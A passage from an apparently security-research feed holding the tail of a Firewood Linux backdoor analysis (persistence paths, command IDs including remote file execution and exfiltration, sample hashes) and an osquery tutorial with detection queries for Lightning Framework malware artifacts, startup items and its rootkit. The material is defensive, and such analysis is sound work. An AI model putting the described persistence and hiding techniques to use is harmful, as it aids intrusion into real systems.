the interval between packets. It also used a randomized time‑window algorithm
to stagger connections. The new build collapses all of this into a
straightforward &lt;code&gt;while (true)&lt;/code&gt; loop. After waiting for the configured startup
delay, it continuously calls &lt;code&gt;ConnectToSvr()&lt;/code&gt;, sleeping briefly on failure,
until success or until the overall timer expires, then cleans up and exits. By
removing the multi‑stage scheduling and random timing logic, the connection
routine becomes more predictable and maintainable, trading temporal obfuscation
for reliable C2 reachability.&lt;/p&gt;
&lt;p&gt;Overall, the communication protocol and C2 setup remain the same; the only
significant change is that the new version no longer relies on timeouts from
the configuration.&lt;/p&gt;
&lt;p&gt;Both Firewood versions collect information about the user and the infected
machine. The new variant adds a fallback for OS detection: whereas the older
version reads distribution data from &lt;code&gt;/etc/issue&lt;/code&gt;, the new version falls back
to &lt;code&gt;/etc/issue.ne&lt;/code&gt;t if &lt;code&gt;/etc/issue&lt;/code&gt; is unavailable, parsing the data in the
same way.&lt;/p&gt;
&lt;p&gt;The backdoor defines file paths used by both itself and its kernel module. The
new variant sets paths for root users as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/lib/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/data/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/kdeinit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/.kde-root/pid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For non-root users, it uses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/lib/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/data/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/kdeinit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.kde-root/pid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$HOME/.bashrc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By contrast, the older variant for root users used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/rc.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/boot.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And for non-root users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$HOME/.bashrc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The FireWood backdoor supports a number of commands documented by ESET. The new
variant removes some commands and adds others. It drops commands for changing
beacon intervals and delay times (command IDs &lt;code&gt;0x111&lt;/code&gt;, &lt;code&gt;0x113&lt;/code&gt;, &lt;code&gt;0x114&lt;/code&gt;), as these
settings are no longer used. It also removes the file-read command (ID &lt;code&gt;0x201&lt;/code&gt;).
The process‑hiding command has moved to ID &lt;code&gt;0x202&lt;/code&gt; (from &lt;code&gt;0x112&lt;/code&gt;), and the
&lt;code&gt;HideModule&lt;/code&gt; function was removed. A new command (&lt;code&gt;SetAutoKillEl&lt;/code&gt;, ID &lt;code&gt;0x160&lt;/code&gt;)
toggles or sets an “auto‑kill” feature in the agent.&lt;/p&gt;
&lt;p&gt;Besides these commands, there are also three commands that appear in both
versions and were not previously documented:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command id &lt;code&gt;0x109&lt;/code&gt;: A command that indicates a change in the connection
configuration.&lt;/li&gt;
&lt;li&gt;Command id &lt;code&gt;0x192&lt;/code&gt;: Gets a file from the C2 and execute it using the system
function. Unlike the previously documented command id &lt;code&gt;0x185&lt;/code&gt;, this command
calls first &lt;code&gt;CFileControl::FileUp&lt;/code&gt; to receive the file from the C2.&lt;/li&gt;
&lt;li&gt;Command id &lt;code&gt;0x195&lt;/code&gt;: Exfiltration of files with the following extensions: &lt;code&gt;.v2&lt;/code&gt;,
&lt;code&gt;.k2&lt;/code&gt;, &lt;code&gt;.W2&lt;/code&gt;, and &lt;code&gt;drive.C2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also located an older sample submitted to VirusTotal from Iran on February
5, 2025:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, we found a sample from the Philippines submitted on May 7, 2022;
its code is identical to the one we analyzed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;New Firewood Version&lt;span class="hx:absolute hx:-mt-20" id="new-firewood-version"&gt;&lt;/span&gt;
&lt;a href="#new-firewood-version" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d7be3494b3e1722eb28f317f3b85ee68bf7ea5508aa2d5782392619e078b78af&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Old Firewood Version&lt;span class="hx:absolute hx:-mt-20" id="old-firewood-version"&gt;&lt;/span&gt;
&lt;a href="#old-firewood-version" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cff20753e36a4c942dc4dab5a91fd621a42330e17a89185a5b7262280bcd9263&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4c293309a7541edb89e3ec99c4074584328a21309e75a46d0ddb4373652ee0d6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Detection Rules for Lightning Framework (and How to Make Them With Osquery)</title><link>https://research.intezer.com/blog/2022/08/lightning-framework-linux-detection-rules-osquery/</link><pubDate>Wed, 03 Aug 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/08/lightning-framework-linux-detection-rules-osquery/</guid><description>
&lt;p&gt;On 21 July, 2022, we released a blog post about a new malware called
&lt;a href="../../../2022/07/lightning-framework-new-linux-threat"&gt;Lightning Framework&lt;/a&gt;.
Lightning is a modular malware framework targeting Linux. At the time of the
publication, the Core module had one suspicious detection and the Downloader
module was not detected by any scanning engines on VirusTotal. Due to this, we
have again decided to release a followup blog posting showing how the
information we released can be used to investigate whether you have been
affected.&lt;/p&gt;
&lt;p&gt;There are many tools available to gather system information and to perform
threat hunting within an organization. One of our favorites is
&lt;a href="https://osquery.io"target="_blank" rel="noopener"&gt;osquery&lt;/a&gt;. We demonstrated in a previous blog how detection
rules created with osquery can be used to discover the multi-platform malware
&lt;a href="../../../2022/01/new-backdoor-sysjoker"&gt;Sysjoker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This tutorial will show how we use gathered information from the reverse
engineering process to utilize in detection techniques that can serve as an
indication of compromise for the Lighting Framework. There are pros and cons to
this approach over just using file hashes. It allows us to potentially find
other samples related to the Lightning Framework that have a different file
hash but it can also turn up matches that are not malware. For example the
malleable C2 profile is encoded on disk and will have a unique hash each time,
therefore it is important to use other means of detection that are not hash
based.&lt;/p&gt;
&lt;h2&gt;Information Gathering with Osquery&lt;span class="hx:absolute hx:-mt-20" id="information-gathering-with-osquery"&gt;&lt;/span&gt;
&lt;a href="#information-gathering-with-osquery" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Osquery runs as an agent on machines and is designed to provide endpoint
visibility in a performant way. The data is collected by the agent and exposed
via SQL queries.&lt;/p&gt;
&lt;p&gt;There are two ways of running osquery, as a daemon via osqueryd or
interactively via osqueryi. The daemon takes a configuration file where the
queries are defined and executes them at a given interval. Data is continuously
collected by the daemon and the difference since the last execution is logged
to a result log. The interactive binary allows for ad-hoc queries and we will
use it in this tutorial to construct queries that can be added to the daemon&amp;rsquo;s
configuration. The queries will be added to a
&lt;a href="https://osquery.readthedocs.io/en/stable/deployment/configuration/#query-packs"target="_blank" rel="noopener"&gt;query-pack&lt;/a&gt;
to make it easier to manage.&lt;/p&gt;
&lt;h2&gt;Detecting File Artifacts from Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="detecting-file-artifacts-from-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#detecting-file-artifacts-from-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Many files are created in a working directory in the Lightning Framework. We
can use these to write threat hunting or detection queries.&lt;/p&gt;
&lt;p&gt;If we look at the report, we can see that most of the files are created under a
folder named &lt;code&gt;/usr/lib64/seahorses/&lt;/code&gt;. This is a folder trying to masquerade as
the legitimate password and key manager
&lt;a href="https://gitlab.gnome.org/GNOME/seahorse"target="_blank" rel="noopener"&gt;Seahorse&lt;/a&gt;. We can use the osquery
table file to monitor for Lightning Framework files under this folder.
According to the &lt;a href="https://osquery.io/schema/5.1.0/#file"target="_blank" rel="noopener"&gt;schema&lt;/a&gt; for this
table, we can get which user created it, when the file was created, modified,
and last accessed. To enrich the data, we join the uid with the
&lt;a href="https://osquery.io/schema/5.1.0/#users"target="_blank" rel="noopener"&gt;users&lt;/a&gt; table and the gid with the
&lt;a href="https://osquery.io/schema/5.1.0/#groups"target="_blank" rel="noopener"&gt;groups&lt;/a&gt; table. This allows us to get
the username and the group name instead of just the ID numbers.&lt;/p&gt;
&lt;p&gt;Another thing that is useful is the file hash for the Lightning files. This can
be obtained by joining with the &lt;a href="https://osquery.io/schema/5.1.0/#hash"target="_blank" rel="noopener"&gt;hash&lt;/a&gt;
table on the path. This allow us to construct a query like this:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;atime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/lib64/seahorses/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;An example of a query that shows the malware artifacts is shown below:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/08/lightning-framework-linux-detection-rules-osquery/images/fig1.png" title="Successfully finding Lightning Framework files using osquery." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Successfully finding Lightning Framework files using osquery.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Detecting Persistence of Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="detecting-persistence-of-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#detecting-persistence-of-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;If we look at the persistence documented in the report, we can see that the
framework maintains persistence by creating a startup script for the Downloader
module. We can find this by querying the
&lt;a href="https://osquery.io/schema/5.1.0/#startup_items"target="_blank" rel="noopener"&gt;startup_items table&lt;/a&gt; and
looking for the misspelled term &lt;code&gt;elastisearch&lt;/code&gt; (As opposed to the correct
application it is trying to mimic
&amp;ldquo;&lt;a href="https://www.elastic.co/elasticsearch/"target="_blank" rel="noopener"&gt;Elasticsearch&lt;/a&gt;&amp;rdquo;).&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startup_items&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;elastisearch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Detecting RootKits Installed by Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="detecting-rootkits-installed-by-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#detecting-rootkits-installed-by-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Lightning Framework is able to install a Linux kernel module (LKM) rootkit. The
rootkit is used to hide process IDs and ports related to running processes of
the framework. Similarly to the startup item. The kernel module also has the
same misspelled &lt;code&gt;elastisearch&lt;/code&gt; name. To check whether it is installed on your
machine, run the following:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel_modules&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;elastisearch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Next Steps for Your Lightning Detection Rules&lt;span class="hx:absolute hx:-mt-20" id="next-steps-for-your-lightning-detection-rules"&gt;&lt;/span&gt;
&lt;a href="#next-steps-for-your-lightning-detection-rules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After this we can tell the osquery daemon to load the query pack. This can be
done by adding a pack entry to the daemon&amp;rsquo;s configuration file:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;packs&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;lightning_framework&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/path/to/pack/lightning.json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To get alerting for this, it is best to forward the logs to your SIEM and
create alerts there. We&amp;rsquo;re curious to see more samples of Lightning Framework –
let us know if you uncover more samples or are able to take the research on it
further!&lt;/p&gt;
&lt;h2&gt;Appendix A – lightning.json Pack&lt;span class="hx:absolute hx:-mt-20" id="appendix-a--lightningjson-pack"&gt;&lt;/span&gt;
&lt;a href="#appendix-a--lightningjson-pack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;queries&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;linux-artifacts&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;/usr/lib64/seahorses/&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/research/lightning-framework-new-linux-threat/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible Lightning Framework files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
